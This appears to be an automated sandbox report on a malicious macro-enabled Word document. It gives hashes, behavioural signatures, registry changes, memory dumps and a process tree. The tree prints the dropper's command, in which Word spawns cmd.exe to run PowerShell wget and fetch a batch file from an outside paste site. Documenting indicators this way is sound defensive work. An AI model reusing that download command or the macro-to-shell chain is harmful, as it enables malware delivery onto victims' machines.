e636d49d8e2ecb81e08a6d303ee2d07172a105566e68a113cb0cd2438dc40508

General

Target

539ffa888e54851b971f1f5d92f75f72.docm
Size

96KB
MD5

539ffa888e54851b971f1f5d92f75f72
SHA1

05426efcdfb55bda58c9901095c5d685b142e65c
SHA256

e636d49d8e2ecb81e08a6d303ee2d07172a105566e68a113cb0cd2438dc40508
SHA512

d15bc949037234d46a89d8ffaac83a6aac7a01628a5ca30250040d2fe516dfcf708b57a9be697458545c5a206ee44087d995b35080949036b48ad553cf00c871
SSDEEP

1536:jA4ru4Lo30qCR3FU7lN9YDS47wWUyTiedpdMXqgZeNiufpBb/v:jA4pLoLCR3ulN9YJTUyGUM6NiufpBbn

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	2428	2212	cmd.exe	16
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	2980	2212	cmd.exe	16

Office loads VBA resources, possible macro or embedded object present

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3601492379-692465709-652514833-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3601492379-692465709-652514833-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3601492379-692465709-652514833-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3601492379-692465709-652514833-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3601492379-692465709-652514833-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3601492379-692465709-652514833-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3601492379-692465709-652514833-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3601492379-692465709-652514833-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3601492379-692465709-652514833-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2212	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2836	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2836	powershell.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
2212	WINWORD.EXE
2212	WINWORD.EXE
2212	WINWORD.EXE
2212	WINWORD.EXE
2212	WINWORD.EXE
2212	WINWORD.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2212 wrote to memory of 2980	2212	WINWORD.EXE	29
PID 2212 wrote to memory of 2980	2212	WINWORD.EXE	29
PID 2212 wrote to memory of 2980	2212	WINWORD.EXE	29
PID 2212 wrote to memory of 2980	2212	WINWORD.EXE	29
PID 2212 wrote to memory of 2428	2212	WINWORD.EXE	28
PID 2212 wrote to memory of 2428	2212	WINWORD.EXE	28
PID 2212 wrote to memory of 2428	2212	WINWORD.EXE	28
PID 2212 wrote to memory of 2428	2212	WINWORD.EXE	28
PID 2428 wrote to memory of 2836	2428	cmd.exe	26
PID 2428 wrote to memory of 2836	2428	cmd.exe	26
PID 2428 wrote to memory of 2836	2428	cmd.exe	26
PID 2428 wrote to memory of 2836	2428	cmd.exe	26

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\539ffa888e54851b971f1f5d92f75f72.docm"
1⤵
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2212
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /cpowershell wget -O C:\Data\batty.bat https://paste.c-net.org/BustinBeady
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2428
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c mkdir C:\Data
  2⤵
  - Process spawned unexpected child process
  PID:2980

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell wget -O C:\Data\batty.bat https://paste.c-net.org/BustinBeady
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2836

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2212-0-0x000000002FD61000-0x000000002FD62000-memory.dmp

Filesize
4KB

Download
memory/2212-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2212-2-0x000000007161D000-0x0000000071628000-memory.dmp

Filesize
44KB

Download
memory/2212-7-0x0000000005100000-0x0000000005200000-memory.dmp

Filesize
1024KB

Download
memory/2212-16-0x000000007161D000-0x0000000071628000-memory.dmp

Filesize
44KB

Download
memory/2212-17-0x0000000005100000-0x0000000005200000-memory.dmp

Filesize
1024KB

Download
memory/2836-10-0x000000006AF80000-0x000000006B52B000-memory.dmp

Filesize
5.7MB

Download
memory/2836-14-0x0000000002870000-0x00000000028B0000-memory.dmp

Filesize
256KB

Download
memory/2836-13-0x0000000002870000-0x00000000028B0000-memory.dmp

Filesize
256KB

Download
memory/2836-12-0x0000000002870000-0x00000000028B0000-memory.dmp

Filesize
256KB

Download
memory/2836-11-0x000000006AF80000-0x000000006B52B000-memory.dmp

Filesize
5.7MB

Download
memory/2836-15-0x000000006AF80000-0x000000006B52B000-memory.dmp

Filesize
5.7MB

Download

Analysis

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